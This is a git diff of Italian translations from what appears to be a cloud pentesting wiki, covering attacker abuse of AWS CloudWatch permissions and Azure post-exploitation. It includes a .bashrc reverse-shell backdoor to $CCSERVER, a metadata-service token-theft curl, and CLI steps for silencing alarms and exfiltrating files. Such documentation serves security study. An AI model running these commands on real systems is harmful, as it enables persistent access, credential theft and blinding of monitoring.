-**Gli Allarmi di CloudWatch** monitorano le tue metriche e intraprendono azioni basate su soglie predefinite. Quando una metrica supera una soglia, l'allarme può eseguire una o più azioni come inviare notifiche tramite SNS, attivare una politica di auto-scaling o eseguire una funzione AWS Lambda.
+**CloudWatch Alarms** monitorano le tue metriche e intraprendono azioni basate su soglie predefinite. Quando una metrica supera una soglia, l'allarme può eseguire una o più azioni come inviare notifiche tramite SNS, attivare una politica di auto-scaling o eseguire una funzione AWS Lambda.
**Componenti chiave**:
- **Soglia**: Il valore al quale l'allarme si attiva.
- **Periodi di valutazione**: Il numero di periodi su cui i dati vengono valutati.
-- **Punti dati per l'allarme**: Il numero di periodi con una soglia raggiunta necessaria per attivare l'allarme.
+- **Punti dati per allarme**: Il numero di periodi con una soglia raggiunta necessaria per attivare l'allarme.
- **Azioni**: Cosa succede quando viene attivato uno stato di allarme (ad es., notificare tramite SNS).
**Esempio di caso d'uso**:
@@ -92,7 +92,7 @@ Le unità sono il tipo di misura associato a una metrica. Le unità aiutano a fo
### Rilevatori di anomalie
-**I Rilevatori di anomalie** utilizzano l'apprendimento automatico per rilevare automaticamente anomalie nelle tue metriche. Puoi applicare il rilevamento delle anomalie a qualsiasi metrica di CloudWatch per identificare deviazioni dai modelli normali che potrebbero indicare problemi.
+**Rilevatori di anomalie** utilizzano l'apprendimento automatico per rilevare automaticamente anomalie nelle tue metriche. Puoi applicare il rilevamento delle anomalie a qualsiasi metrica di CloudWatch per identificare deviazioni dai modelli normali che potrebbero indicare problemi.
**Componenti chiave**:
@@ -101,33 +101,33 @@ Le unità sono il tipo di misura associato a una metrica. Le unità aiutano a fo
**Esempio di caso d'uso**:
-- Rilevare modelli di utilizzo della CPU insoliti in un'istanza EC2 che potrebbero indicare una violazione della sicurezza o un problema applicativo.
+- Rilevare modelli di utilizzo della CPU insoliti in un'istanza EC2 che potrebbero indicare una violazione della sicurezza o un problema dell'applicazione.
### Regole di Insight e Regole di Insight Gestite
-**Le Regole di Insight** ti consentono di identificare tendenze, rilevare picchi o altri modelli di interesse nei tuoi dati metrici utilizzando **espressioni matematiche potenti** per definire le condizioni in base alle quali devono essere intraprese azioni. Queste regole possono aiutarti a identificare anomalie o comportamenti insoliti nelle prestazioni e nell'utilizzo delle tue risorse.
+**Regole di Insight** ti consentono di identificare tendenze, rilevare picchi o altri modelli di interesse nei tuoi dati metrici utilizzando **espressioni matematiche potenti** per definire le condizioni sotto le quali devono essere intraprese azioni. Queste regole possono aiutarti a identificare anomalie o comportamenti insoliti nelle prestazioni e nell'utilizzo delle tue risorse.
-**Le Regole di Insight Gestite** sono regole di insight **preconfigurate fornite da AWS**. Sono progettate per monitorare servizi AWS specifici o casi d'uso comuni e possono essere attivate senza necessità di configurazione dettagliata.
+**Regole di Insight Gestite** sono regole di insight preconfigurate **fornite da AWS**. Sono progettate per monitorare servizi AWS specifici o casi d'uso comuni e possono essere attivate senza necessità di configurazione dettagliata.
**Esempio di caso d'uso**:
-- Monitorare le prestazioni di RDS: Abilitare una regola di insight gestita per Amazon RDS che monitora indicatori chiave di prestazione come l'utilizzo della CPU, l'uso della memoria e il disco I/O. Se una di queste metriche supera soglie operative sicure, la regola può attivare un avviso o un'azione di mitigazione automatica.
+- Monitoraggio delle prestazioni RDS: Abilitare una regola di insight gestita per Amazon RDS che monitora indicatori chiave di prestazione come l'utilizzo della CPU, l'uso della memoria e il disco I/O. Se una di queste metriche supera soglie operative sicure, la regola può attivare un avviso o un'azione di mitigazione automatica.
### CloudWatch Logs
Consente di **aggregare e monitorare i log delle applicazioni** e dei sistemi dai **servizi AWS** (incluso CloudTrail) e **da app/sistemi** (**CloudWatch Agent** può essere installato su un host). I log possono essere **archiviati indefinitamente** (a seconda delle impostazioni del Log Group) e possono essere esportati.
**Elementi**:
-
-| **Log Group** | Una **collezione di flussi di log** che condividono le stesse impostazioni di retention, monitoraggio e controllo degli accessi |
+| Term | Definizione |
| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| **Log Stream** | Una sequenza di **eventi di log** che condividono la **stessa fonte** |
-| **Filtri di sottoscrizione** | Definiscono un **modello di filtro che corrisponde agli eventi** in un particolare log group, inviandoli a Kinesis Data Firehose stream, Kinesis stream o a una funzione Lambda |
+| **Log Group** | Una **collezione di log stream** che condividono le stesse impostazioni di retention, monitoraggio e controllo degli accessi |
+| **Log Stream** | Una sequenza di **eventi di log** che condividono la **stessa fonte** |
+| **Subscription Filters** | Definiscono un **modello di filtro che corrisponde agli eventi** in un particolare log group, inviandoli a Kinesis Data Firehose stream, Kinesis stream o a una funzione Lambda |
-### Monitoraggio e Eventi di CloudWatch
+### CloudWatch Monitoring & Events
-CloudWatch **base** aggrega i dati **ogni 5 minuti** (quello **dettagliato** lo fa **ogni 1 minuto**). Dopo l'aggregazione, **controlla le soglie degli allarmi** nel caso debba attivare uno.\
-In tal caso, CloudWatch può essere pronto a inviare un evento e intraprendere alcune azioni automatiche (funzioni AWS lambda, argomenti SNS, code SQS, Kinesis Streams)
+CloudWatch **base** aggrega i dati **ogni 5 minuti** (quella **dettagliata** lo fa **ogni 1 minuto**). Dopo l'aggregazione, **controlla le soglie degli allarmi** nel caso debba attivarne uno.\
+In tal caso, CloudWatch può essere preparato a inviare un evento e intraprendere alcune azioni automatiche (funzioni AWS lambda, argomenti SNS, code SQS, Kinesis Streams)
### Installazione dell'Agente
@@ -135,9 +135,9 @@ Puoi installare agenti all'interno delle tue macchine/contenitori per inviare au
- **Crea** un **ruolo** e **allegalo** all'**istanza** con permessi che consentano a CloudWatch di raccogliere dati dalle istanze oltre a interagire con AWS Systems Manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
- **Scarica** e **installa** l'**agente** sull'istanza EC2 ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Puoi scaricarlo dall'interno dell'EC2 o installarlo automaticamente utilizzando AWS Systems Manager selezionando il pacchetto AWS-ConfigureAWSPackage
-- **Configura** e **avvia** l'Agente CloudWatch
+- **Configura** e **avvia** il CloudWatch Agent
-Un log group ha molti flussi. Un flusso ha molti eventi. E all'interno di ciascun flusso, gli eventi sono garantiti in ordine.
+Un log group ha molti stream. Uno stream ha molti eventi. E all'interno di ogni stream, gli eventi sono garantiti in ordine.
## Enumerazione
```bash
@@ -216,7 +216,7 @@ aws events list-event-buses
### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`**
-Un attaccante con questi permessi potrebbe compromettere significativamente l'infrastruttura di monitoraggio e allerta di un'organizzazione. Cancellando allarmi esistenti, un attaccante potrebbe disabilitare avvisi cruciali che notificano gli amministratori di problemi critici di prestazioni, violazioni della sicurezza o guasti operativi. Inoltre, creando o modificando allarmi metrici, l'attaccante potrebbe anche fuorviare gli amministratori con falsi avvisi o silenziare allarmi legittimi, mascherando efficacemente attività malevole e impedendo risposte tempestive a incidenti reali.
+Un attaccante con questi permessi potrebbe compromettere significativamente l'infrastruttura di monitoraggio e allerta di un'organizzazione. Cancellando allarmi esistenti, un attaccante potrebbe disabilitare avvisi cruciali che notificano gli amministratori di problemi di prestazioni critici, violazioni della sicurezza o guasti operativi. Inoltre, creando o modificando allarmi metrici, l'attaccante potrebbe anche fuorviare gli amministratori con avvisi falsi o silenziare allarmi legittimi, mascherando efficacemente attività malevole e impedendo risposte tempestive a incidenti reali.
Inoltre, con il permesso **`cloudwatch:PutCompositeAlarm`**, un attaccante sarebbe in grado di creare un ciclo di allarmi compositi, dove l'allarme composito A dipende dall'allarme composito B, e l'allarme composito B dipende anche dall'allarme composito A. In questo scenario, non è possibile eliminare alcun allarme composito che fa parte del ciclo perché c'è sempre un allarme composito che dipende da quell'allarme che si desidera eliminare.
```bash
@@ -227,7 +227,7 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--
L'esempio seguente mostra come rendere inefficace un allarme metrico:
- Questo allarme metrico monitora l'utilizzo medio della CPU di una specifica istanza EC2, valuta la metrica ogni 300 secondi e richiede 6 periodi di valutazione (30 minuti in totale). Se l'utilizzo medio della CPU supera il 60% per almeno 4 di questi periodi, l'allarme si attiverà e invierà una notifica al topic SNS specificato.
-- Modificando la soglia a più del 99%, impostando il periodo a 10 secondi, i periodi di valutazione a 8640 (poiché 8640 periodi di 10 secondi equivalgono a 1 giorno) e i punti dati per l'allarme a 8640, sarebbe necessario che l'utilizzo della CPU fosse superiore al 99% ogni 10 secondi per l'intero periodo di 24 ore per attivare un allarme.
+- Modificando la soglia per essere superiore al 99%, impostando il periodo a 10 secondi, i periodi di valutazione a 8640 (poiché 8640 periodi di 10 secondi equivalgono a 1 giorno) e i punti dati per l'allarme a 8640, sarebbe necessario che l'utilizzo della CPU fosse superiore al 99% ogni 10 secondi per l'intero periodo di 24 ore per attivare un allarme.
{{#tabs }}
{{#tab name="Original Metric Alarm" }}
@@ -285,7 +285,7 @@ L'esempio seguente mostra come rendere inefficace un allarme metrico:
Eliminando le azioni di allerta, l'attaccante potrebbe impedire che vengano attivati avvisi critici e risposte automatiche quando viene raggiunto uno stato di allerta, come notificare gli amministratori o attivare attività di auto-scaling. Abilitare o riabilitare in modo inappropriato le azioni di allerta potrebbe anche portare a comportamenti imprevisti, sia riattivando azioni precedentemente disabilitate sia modificando quali azioni vengono attivate, causando potenzialmente confusione e deviazione nella risposta agli incidenti.
-Inoltre, un attaccante con il permesso potrebbe manipolare gli stati di allerta, essendo in grado di creare falsi allarmi per distrarre e confondere gli amministratori, o silenziare allarmi genuini per nascondere attività malevole in corso o gravi guasti di sistema.
+Inoltre, un attaccante con il permesso potrebbe manipolare gli stati di allerta, essendo in grado di creare falsi allarmi per distrarre e confondere gli amministratori, o silenziare allarmi genuini per nascondere attività malevole in corso o guasti critici del sistema.
- Se utilizzi **`SetAlarmState`** su un allarme composito, l'allarme composito non è garantito a tornare al suo stato effettivo. Torna al suo stato effettivo solo una volta che uno dei suoi allarmi figli cambia stato. Viene anche rivalutato se aggiorni la sua configurazione.
```bash
@@ -302,7 +302,7 @@ Un attaccante sarebbe in grado di compromettere la capacità di rilevare e rispo
aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ]
aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ]
```
-L'esempio seguente mostra come rendere inefficace un rilevatore di anomalie metriche. Questo rilevatore di anomalie metriche monitora l'utilizzo medio della CPU di un'istanza EC2 specifica, e basta aggiungere il parametro “ExcludedTimeRanges” con l'intervallo di tempo desiderato, per garantire che il rilevatore di anomalie non analizzi né avvisi su dati rilevanti durante quel periodo.
+L'esempio seguente mostra come rendere inefficace un rilevatore di anomalie metriche. Questo rilevatore di anomalie metriche monitora l'utilizzo medio della CPU di un'istanza EC2 specifica, e basta aggiungere il parametro “ExcludedTimeRanges” con l'intervallo di tempo desiderato per garantire che il rilevatore di anomalie non analizzi né avvisi su dati rilevanti durante quel periodo.
{{#tabs }}
{{#tab name="Original Metric Anomaly Detector" }}
@@ -323,7 +323,7 @@ L'esempio seguente mostra come rendere inefficace un rilevatore di anomalie metr
```
{{#endtab }}
-{{#tab name="Rilevatore di Anomalie con Metriche Modificate" }}
+{{#tab name="Modified Metric Anomaly Detector" }}
```json
{
"SingleMetricAnomalyDetector": {
@@ -364,7 +364,7 @@ aws cloudwatch put-dashboard --dashboard-name --dashboard-body
### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule`, `cloudwatch:PutManagedInsightRule`**
-Le regole di insight vengono utilizzate per rilevare anomalie, ottimizzare le prestazioni e gestire le risorse in modo efficace. Cancellando le regole di insight esistenti, un attaccante potrebbe rimuovere capacità di monitoraggio critiche, lasciando il sistema cieco a problemi di prestazioni e minacce alla sicurezza. Inoltre, un attaccante potrebbe creare o modificare regole di insight per generare dati fuorvianti o nascondere attività dannose, portando a diagnosi errate e risposte inappropriate da parte del team operativo.
+Le regole di insight vengono utilizzate per rilevare anomalie, ottimizzare le prestazioni e gestire le risorse in modo efficace. Eliminando le regole di insight esistenti, un attaccante potrebbe rimuovere capacità di monitoraggio critiche, lasciando il sistema cieco a problemi di prestazioni e minacce alla sicurezza. Inoltre, un attaccante potrebbe creare o modificare regole di insight per generare dati fuorvianti o nascondere attività dannose, portando a diagnosi errate e risposte inappropriate da parte del team operativo.
```bash
aws cloudwatch delete-insight-rules --rule-names
aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ]
@@ -374,7 +374,7 @@ aws cloudwatch put-managed-insight-rules --managed-rules
### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`**
-Disabilitando regole di insight critiche, un attaccante potrebbe effettivamente rendere cieca l'organizzazione rispetto a metriche chiave di prestazioni e sicurezza. Al contrario, abilitando o configurando regole fuorvianti, potrebbe essere possibile generare dati falsi, creare rumore o nascondere attività malevole.
+Disabilitando regole di insight critiche, un attaccante potrebbe effettivamente accecare l'organizzazione rispetto a metriche chiave di prestazioni e sicurezza. Al contrario, abilitando o configurando regole fuorvianti, potrebbe essere possibile generare dati falsi, creare rumore o nascondere attività malevole.
```bash
aws cloudwatch disable-insight-rules --rule-names
aws cloudwatch enable-insight-rules --rule-names
@@ -383,11 +383,11 @@ aws cloudwatch enable-insight-rules --rule-names
### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`**
-Un attaccante con i permessi **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** sarebbe in grado di creare e eliminare flussi di dati metrici, compromettendo la sicurezza, il monitoraggio e l'integrità dei dati:
+Un attaccante con i permessi **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** sarebbe in grado di creare e cancellare flussi di dati metrici, compromettendo la sicurezza, il monitoraggio e l'integrità dei dati:
- **Creare flussi malevoli**: Creare flussi metrici per inviare dati sensibili a destinazioni non autorizzate.
-- **Manipolazione delle risorse**: La creazione di nuovi flussi metrici con dati eccessivi potrebbe produrre molto rumore, causando allarmi errati, mascherando problemi reali.
-- **Interruzione del monitoraggio**: Eliminando i flussi metrici, gli attaccanti interromperebbero il flusso continuo di dati di monitoraggio. In questo modo, le loro attività malevole sarebbero efficacemente nascoste.
+- **Manipolazione delle risorse**: La creazione di nuovi flussi metrici con dati eccessivi potrebbe produrre molto rumore, causando allarmi errati e mascherando problemi reali.
+- **Interruzione del monitoraggio**: Cancellando i flussi metrici, gli attaccanti interromperebbero il flusso continuo di dati di monitoraggio. In questo modo, le loro attività malevole sarebbero efficacemente nascoste.
Allo stesso modo, con il permesso **`cloudwatch:PutMetricData`**, sarebbe possibile aggiungere dati a un flusso metrico. Questo potrebbe portare a un DoS a causa della quantità di dati impropri aggiunti, rendendolo completamente inutile.
```bash
diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
index db4722245..7b4a36b62 100644
--- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
+++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
@@ -10,21 +10,13 @@ Azure Cloud Shell offre accesso da riga di comando per gestire le risorse Azure
* **Script di Avvio**: File come .bashrc vengono eseguiti automaticamente all'inizio di ogni sessione, consentendo un'esecuzione persistente quando si avvia il cloud shell.
Esempio di backdoor in .bashrc:
-
-{% code overflow="wrap" %}
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
```
-{% endcode %}
+Questo backdoor può eseguire comandi anche 5 minuti dopo che la shell cloud è stata chiusa dall'utente.
-Questo backdoor può eseguire comandi anche 5 minuti dopo che l'utente ha terminato la cloud shell.
-
-Inoltre, interroga il servizio di metadati di Azure per dettagli sull'istanza e token:
-{% code overflow="wrap" %}
+Inoltre, interroga il servizio di metadata di Azure per dettagli sull'istanza e token:
```bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
```
-{% endcode %}
-
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
index d51e02a75..368fbcb72 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
@@ -10,7 +10,7 @@ Per ulteriori informazioni sullo storage, controlla:
../az-services/az-storage.md
{{#endref}}
-### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
+### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
Un principale con questo permesso sarà in grado di **elencare** i blob (file) all'interno di un contenitore e **scaricare** i file che potrebbero contenere **informazioni sensibili**.
```bash
@@ -24,7 +24,7 @@ az storage blob download \
--container-name \
-n file.txt --auth-mode login
```
-### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
+### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
Un principale con questo permesso sarà in grado di **scrivere e sovrascrivere file nei contenitori**, il che potrebbe consentirgli di causare danni o addirittura di elevare i privilegi (ad esempio, sovrascrivere del codice memorizzato in un blob):
```bash
@@ -36,6 +36,6 @@ az storage blob upload \
```
### \*/delete
-Questo permetterebbe di eliminare oggetti all'interno dell'account di archiviazione, il che potrebbe **interrompere alcuni servizi** o far perdere al cliente **informazioni preziose**.
+Questo permetterebbe di eliminare oggetti all'interno dell'account di archiviazione che potrebbero **interrompere alcuni servizi** o far perdere al cliente **informazioni preziose**.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
index 2d418cff8..921d93425 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
@@ -5,27 +5,21 @@
## CosmosDB Post Exploitation
Per ulteriori informazioni su SQL Database controlla:
-{% content-ref url="../az-services/az-cosmosDB.md" %}
-[az-cosmosDB.md](../az-services/az-cosmosDB.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-cosmosDB.md
+{{#endref}}
-### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write"
+### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
Con questo permesso, puoi creare o aggiornare gli account di Azure Cosmos DB. Questo include la modifica delle impostazioni a livello di account, l'aggiunta o la rimozione di regioni, la modifica dei livelli di coerenza e l'abilitazione o disabilitazione di funzionalità come le scritture multi-regione.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb update \
--name \
--resource-group \
--public-network-access ENABLED
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write"
-Con questo permesso, puoi creare o modificare contenitori (collezioni) all'interno di un database SQL di un account Azure Cosmos DB. I contenitori vengono utilizzati per memorizzare dati e le modifiche a essi possono influenzare la struttura del database e i modelli di accesso.
-
-{% code overflow="wrap" %}
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
+Con questo permesso, puoi creare o modificare contenitori (collezioni) all'interno di un database SQL di un account Azure Cosmos DB. I contenitori sono utilizzati per memorizzare dati e le modifiche a essi possono influenzare la struttura del database e i modelli di accesso.
```bash
# Create
az cosmosdb sql container create \
@@ -43,25 +37,17 @@ az cosmosdb sql container update \
--name \
--ttl 3600
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read`
Con questo permesso, puoi creare o modificare database SQL all'interno di un account Azure Cosmos DB. Questo consente di gestire la struttura del database e aggiungere nuovi database all'account. Sebbene questo permesso consenta la creazione di database, un uso improprio o non autorizzato potrebbe comportare un consumo eccessivo di risorse, costi aumentati o inefficienze operative.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql database create \
--account-name \
--resource-group \
--name
```
-{% endcode %}
+### `Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action`
-### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action"
-
-Con questo permesso, puoi cambiare la priorità di failover delle regioni per un account di database Azure Cosmos DB. Questa azione determina l'ordine in cui le regioni diventano primarie durante un evento di failover. Un uso improprio di questo permesso può interrompere l'alta disponibilità del database o portare a impatti operativi indesiderati.
-
-{% code overflow="wrap" %}
+Con questo permesso, puoi cambiare la priorità di failover delle regioni per un account database Azure Cosmos DB. Questa azione determina l'ordine in cui le regioni diventano primarie durante un evento di failover. L'uso improprio di questo permesso può interrompere l'alta disponibilità del database o portare a impatti operativi indesiderati.
```bash
az cosmosdb failover-priority-change \
--name \
@@ -69,12 +55,8 @@ az cosmosdb failover-priority-change \
--failover-policies
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action"
+### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action`
Con questo permesso, puoi rigenerare le chiavi primarie o secondarie per un account Azure Cosmos DB. Questo viene solitamente utilizzato per migliorare la sicurezza sostituendo le chiavi vecchie, ma può interrompere l'accesso per servizi o applicazioni che dipendono dalle chiavi attuali.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb keys regenerate \
--name \
@@ -82,13 +64,9 @@ az cosmosdb keys regenerate \
--key-kind
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read`
Con questo permesso, puoi creare o modificare trigger all'interno di un contenitore di un database SQL in un account Azure Cosmos DB. I trigger ti consentono di eseguire logica lato server in risposta a operazioni.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql trigger create \
--account-name \
@@ -100,12 +78,8 @@ az cosmosdb sql trigger create \
--type Pre \
--operation All
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read`
Con questo permesso, puoi creare o modificare procedure memorizzate all'interno di un contenitore di un database SQL in un account Azure Cosmos DB. Le procedure memorizzate in Cosmos DB sono funzioni JavaScript lato server che ti consentono di incapsulare la logica per l'elaborazione dei dati o per eseguire operazioni direttamente all'interno del database.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql stored-procedure create \
--account-name \
@@ -115,12 +89,8 @@ az cosmosdb sql stored-procedure create \
--name \
--body 'function sample() { return "Hello, Cosmos!"; }'
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read`
Con questo permesso, puoi creare o modificare i trigger all'interno di un contenitore di un database SQL in un account Azure Cosmos DB. I trigger ti consentono di eseguire logica lato server in risposta a operazioni come inserimenti, aggiornamenti o eliminazioni.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql trigger create \
--account-name \
@@ -132,12 +102,8 @@ az cosmosdb sql trigger create \
--type Pre \
--operation All
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write"
-Con questo permesso, puoi creare o modificare collezioni all'interno dei database MongoDB in un account Azure Cosmos DB. Le collezioni sono utilizzate per memorizzare documenti e definire la struttura e la partizione per i dati.
-
-{% code overflow="wrap" %}
+### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write`
+Con questo permesso, puoi creare o modificare collezioni all'interno dei database MongoDB in un account Azure Cosmos DB. Le collezioni vengono utilizzate per memorizzare documenti e definire la struttura e la partizione per i dati.
```bash
az cosmosdb mongodb collection create \
--account-name \
@@ -145,24 +111,16 @@ az cosmosdb mongodb collection create \
--database-name \
--name
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read"
+### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read`
Con questo permesso, puoi creare nuovi database MongoDB all'interno di un account Azure Cosmos DB. Questo consente di fornire nuovi database per memorizzare e gestire collezioni e documenti.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb mongodb database create \
--account-name \
--resource-group \
--name
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read"
+### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
Con questo permesso, puoi creare nuove definizioni di ruolo MongoDB all'interno di un account Azure Cosmos DB. Questo consente di definire ruoli personalizzati con permessi specifici per gli utenti MongoDB.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb mongodb role definition create \
--account-name \
@@ -188,11 +146,8 @@ az cosmosdb mongodb role definition create \
"Roles": []
}'
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read"
-Con questo permesso, puoi creare nuove definizioni di utenti MongoDB all'interno di un account Azure Cosmos DB. Questo consente il provisioning di utenti con ruoli e livelli di accesso specifici ai database MongoDB.
-{% code overflow="wrap" %}
+### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
+Con questo permesso, puoi creare nuove definizioni di utenti MongoDB all'interno di un account Azure Cosmos DB. Questo consente il provisioning di utenti con ruoli specifici e livelli di accesso ai database MongoDB.
```bash
az cosmosdb mongodb user definition create \
--account-name \
@@ -212,6 +167,4 @@ az cosmosdb mongodb user definition create \
]
}'
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
index 186eb6cba..a8571cc1c 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
@@ -4,15 +4,15 @@
File Share Post Exploitation
-Per ulteriori informazioni sui file share, controlla:
+Per ulteriori informazioni sulle condivisioni di file, controlla:
{{#ref}}
../az-services/az-file-shares.md
{{#endref}}
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read
+### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read`
-Un principale con questo permesso sarà in grado di **elencare** i file all'interno di un file share e **scaricare** i file che potrebbero contenere **informazioni sensibili**.
+Un principale con questo permesso sarà in grado di **elencare** i file all'interno di una condivisione di file e **scaricare** i file che potrebbero contenere **informazioni sensibili**.
```bash
# List files inside an azure file share
az storage file list \
@@ -28,9 +28,9 @@ az storage file download \
--dest /path/to/down \
--auth-mode login --enable-file-backup-request-intent
```
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action
+### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write`, `Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action`
-Un principale con questo permesso sarà in grado di **scrivere e sovrascrivere file nelle condivisioni di file**, il che potrebbe consentirgli di causare danni o addirittura di elevare i privilegi (ad esempio, sovrascrivere del codice memorizzato in una condivisione di file):
+Un principal con questo permesso sarà in grado di **scrivere e sovrascrivere file nelle condivisioni di file**, il che potrebbe consentirgli di causare danni o addirittura di elevare i privilegi (ad esempio, sovrascrivere del codice memorizzato in una condivisione di file):
```bash
az storage blob upload \
--account-name \
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
index 223e6e6bf..3a8ddaf83 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
